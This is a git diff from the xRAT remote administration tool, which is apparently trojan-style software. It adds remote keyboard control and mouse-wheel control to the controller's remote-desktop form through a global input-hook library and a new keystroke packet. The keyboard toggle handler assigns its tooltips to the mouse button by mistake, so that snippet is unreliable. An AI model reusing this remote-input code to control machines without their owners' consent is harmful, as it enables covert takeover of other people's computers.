this.btnKeyboard.Size = new System.Drawing.Size(28, 28);
this.btnKeyboard.TabIndex = 9;
this.toolTipButtons.SetToolTip(this.btnKeyboard, "Enable keyboard input.");
this.btnKeyboard.UseVisualStyleBackColor = true;
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
//
// cbMonitors
//
this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
@ -169,6 +167,24 @@ private void InitializeComponent()
this.btnShow.Visible = false;
this.btnShow.Click += new System.EventHandler(this.btnShow_Click);
//
// picDesktop
//
this.picDesktop.BackColor = System.Drawing.Color.Black;
this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default;
this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill;
this.picDesktop.GetImageSafe = null;
this.picDesktop.Location = new System.Drawing.Point(0, 0);
this.picDesktop.Name = "picDesktop";
this.picDesktop.Running = false;
this.picDesktop.Size = new System.Drawing.Size(784, 562);
this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.picDesktop.TabIndex = 0;
this.picDesktop.TabStop = false;
this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown);
this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove);
this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp);
//
// FrmRemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@ -188,9 +204,9 @@ private void InitializeComponent()
this.Load += new System.EventHandler(this.FrmRemoteDesktop_Load);
this.Resize += new System.EventHandler(this.FrmRemoteDesktop_Resize);
((System.ComponentModel.ISupportInitialize)(this.barQuality)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit();
this.panelTop.ResumeLayout(false);
this.panelTop.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit();
this.ResumeLayout(false);
}
@ -208,5 +224,7 @@ private void InitializeComponent()
private System.Windows.Forms.Button btnShow;
private xServer.Controls.RapidPictureBox picDesktop;
private System.Windows.Forms.ComboBox cbMonitors;
private System.Windows.Forms.Button btnKeyboard;
private System.Windows.Forms.ToolTip toolTipButtons;
}
}

View File

@ -4,20 +4,25 @@
using xServer.Core.Helper;
using xServer.Core.Networking;
using xServer.Core.Utilities;
using xServer.Core.MouseKeyHook;
using xServer.Enums;
namespace xServer.Forms
{
//TODO: Register Hotkeys for WIN - and ALT-key combinations
public partial class FrmRemoteDesktop : Form
{
public bool IsStarted { get; private set; }
private readonly Client _connectClient;
private bool _enableMouseInput;
private bool _enableKeyboardInput;
private IKeyboardMouseEvents _mEvents;
public FrmRemoteDesktop(Client c)
{
_connectClient = c;
_connectClient.Value.FrmRdp = this;
Subscribe(Hook.GlobalEvents());
InitializeComponent();
}
@ -32,10 +37,28 @@ private void FrmRemoteDesktop_Load(object sender, EventArgs e)
btnShow.Location = new Point(377, 0);
btnShow.Left = (this.Width / 2) - (btnShow.Width / 2);
_enableKeyboardInput = false;
if (_connectClient.Value != null)
new Core.Packets.ServerPackets.GetMonitors().Execute(_connectClient);
}
private void Subscribe(IKeyboardMouseEvents events)
{
_mEvents = events;
_mEvents.MouseWheel += MouseWheelEvent;
_mEvents.KeyDown += OnKeyDown;
_mEvents.KeyUp += OnKeyUp;
}
private void Unsubscribe()
{
if (_mEvents == null) return;
_mEvents.MouseWheel -= MouseWheelEvent;
_mEvents.KeyDown -= OnKeyDown;
_mEvents.KeyUp -= OnKeyUp;
}
public void AddMonitors(int monitors)
{
try
@ -94,6 +117,8 @@ private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e)
picDesktop.Dispose();
if (_connectClient.Value != null)
_connectClient.Value.FrmRdp = null;
Unsubscribe();
}
private void FrmRemoteDesktop_Resize(object sender, EventArgs e)
@ -118,6 +143,8 @@ private void btnStart_Click(object sender, EventArgs e)
// Subscribe to the new frame counter.
picDesktop.SetFrameUpdatedEvent(_frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
new Core.Packets.ServerPackets.GetDesktop(barQuality.Value, cbMonitors.SelectedIndex).Execute(_connectClient);
}
@ -129,6 +156,8 @@ private void btnStop_Click(object sender, EventArgs e)
// Unsubscribe from the frame counter. It will be re-created when starting again.
picDesktop.UnsetFrameUpdatedEvent(_frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
}
private void barQuality_Scroll(object sender, EventArgs e)
@ -144,6 +173,8 @@ private void barQuality_Scroll(object sender, EventArgs e)
lblQualityShow.Text += " (high)";
else if (value >= 25)
lblQualityShow.Text += " (mid)";
this.ActiveControl = picDesktop;
}
private void btnMouse_Click(object sender, EventArgs e)
@ -152,14 +183,36 @@ private void btnMouse_Click(object sender, EventArgs e)
{
this.picDesktop.Cursor = Cursors.Default;
btnMouse.Image = Properties.Resources.mouse_delete;
toolTipButtons.SetToolTip(btnMouse, "Enable mouse input.");
_enableMouseInput = false;
}
else
{
this.picDesktop.Cursor = Cursors.Hand;
btnMouse.Image = Properties.Resources.mouse_add;
toolTipButtons.SetToolTip(btnMouse, "Disable mouse input.");
_enableMouseInput = true;
}
this.ActiveControl = picDesktop;
}
private void btnKeyboard_Click(object sender, EventArgs e)
{
if (_enableKeyboardInput)
{
btnKeyboard.Image = Properties.Resources.keyboard_delete;
toolTipButtons.SetToolTip(btnMouse, "Enable keyboard input.");
_enableKeyboardInput = false;
}
else
{
btnKeyboard.Image = Properties.Resources.keyboard_add;
toolTipButtons.SetToolTip(btnMouse, "Disable keyboard input.");
_enableKeyboardInput = true;
}
this.ActiveControl = picDesktop;
}
private int GetRemoteWidth(int localX)
@ -174,7 +227,7 @@ private int GetRemoteHeight(int localY)
private void picDesktop_MouseDown(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && !btnStart.Enabled)
if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus)
{
int local_x = e.X;
int local_y = e.Y;
@ -198,7 +251,7 @@ private void picDesktop_MouseDown(object sender, MouseEventArgs e)
private void picDesktop_MouseUp(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && !btnStart.Enabled)
if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus)
{
int local_x = e.X;
int local_y = e.Y;
@ -222,7 +275,7 @@ private void picDesktop_MouseUp(object sender, MouseEventArgs e)
private void picDesktop_MouseMove(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && !btnStart.Enabled)
if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus)
{
int local_x = e.X;
int local_y = e.Y;
@ -237,11 +290,39 @@ private void picDesktop_MouseMove(object sender, MouseEventArgs e)
}
}
private void MouseWheelEvent(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus)
{
if (_connectClient != null)
new Core.Packets.ServerPackets.DoMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, false, 0, 0, cbMonitors.SelectedIndex).Execute(_connectClient);
}
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
if (picDesktop.Image != null && _enableKeyboardInput && IsStarted && this.ContainsFocus)
{
if (_connectClient != null)
new Core.Packets.ServerPackets.DoKeyboardEvent((byte)e.KeyCode, true).Execute(_connectClient);
}
}
private void OnKeyUp(object sender, KeyEventArgs e)
{
if (picDesktop.Image != null && _enableKeyboardInput && IsStarted && this.ContainsFocus)
{
if (_connectClient != null)
new Core.Packets.ServerPackets.DoKeyboardEvent((byte)e.KeyCode, false).Execute(_connectClient);
}
}
private void btnHide_Click(object sender, EventArgs e)
{
panelTop.Visible = false;
btnShow.Visible = true;
btnHide.Visible = false;
this.ActiveControl = picDesktop;
}
private void btnShow_Click(object sender, EventArgs e)
@ -249,6 +330,7 @@ private void btnShow_Click(object sender, EventArgs e)
panelTop.Visible = true;
btnShow.Visible = false;
btnHide.Visible = true;
this.ActiveControl = picDesktop;
}
}
}

View File

@ -200,6 +200,26 @@ internal class Resources {
}
}
/// <summary>
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap keyboard_add {
get {
object obj = ResourceManager.GetObject("keyboard_add", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap keyboard_delete {
get {
object obj = ResourceManager.GetObject("keyboard_delete", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
/// </summary>

View File

@ -239,12 +239,18 @@
<data name="application_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="keyboard_add" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="logger" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\logger.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="run" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="registry" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="server_disconnect" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\server-disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -255,7 +261,7 @@
<value>..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="registry" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="keyboard_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

View File

@ -77,6 +77,47 @@
<Compile Include="Core\Build\IconInjector.cs" />
<Compile Include="Core\Helper\FileHelper.cs" />
<Compile Include="Core\Helper\FormatHelper.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Hook.cs" />
<Compile Include="Core\Helper\MouseKeyHook\HotKeys\HotKeyArgs.cs" />
<Compile Include="Core\Helper\MouseKeyHook\HotKeys\HotKeySet.cs" />
<Compile Include="Core\Helper\MouseKeyHook\HotKeys\HotKeySetCollection.cs" />
<Compile Include="Core\Helper\MouseKeyHook\HotKeys\HotKeySetsListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\IKeyboardEvents.cs" />
<Compile Include="Core\Helper\MouseKeyHook\IKeyboardMouseEvents.cs" />
<Compile Include="Core\Helper\MouseKeyHook\IMouseEvents.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\AppEventFacade.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\AppKeyListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\AppMouseListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\BaseListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\ButtonSet.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\Callback.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\EventFacade.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\GlobalEventFacade.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\GlobalKeyListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\GlobalMouseListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\KeyboardState.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\KeyListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\MouseListener.cs" />
<Compile Include="Core\Helper\MouseKeyHook\Implementation\Subscribe.cs" />
<Compile Include="Core\Helper\MouseKeyHook\KeyEventArgsExt.cs" />
<Compile Include="Core\Helper\MouseKeyHook\KeyPressEventArgsExt.cs" />
<Compile Include="Core\Helper\MouseKeyHook\MouseEventExtArgs.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\AppMouseStruct.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\CallbackData.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\HookHelper.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\HookIds.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\HookNativeMethods.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\HookProcedure.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\HookProcedureHandle.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\HookResult.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\KeyboardHookStruct.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\KeyboardNativeMethods.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\Messages.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\MouseNativeMethods.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\MouseStruct.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\Point.cs" />
<Compile Include="Core\Helper\MouseKeyHook\WinApi\ThreadNativeMethods.cs" />
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
<Compile Include="Core\Utilities\FrameCounter.cs" />
<Compile Include="Core\Helper\NativeMethodsHelper.cs" />
<Compile Include="Core\Helper\PlatformHelper.cs" />
@ -456,6 +497,7 @@
</Compile>
</ItemGroup>
<ItemGroup>
<Content Include="Core\Helper\MouseKeyHook\HotKeys\ReadMe.txt" />
<Content Include="xRAT-64x64.ico" />
</ItemGroup>
<ItemGroup />

Binary file not shown.

After

Width:  |  Height:  |  Size: 683 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 681 B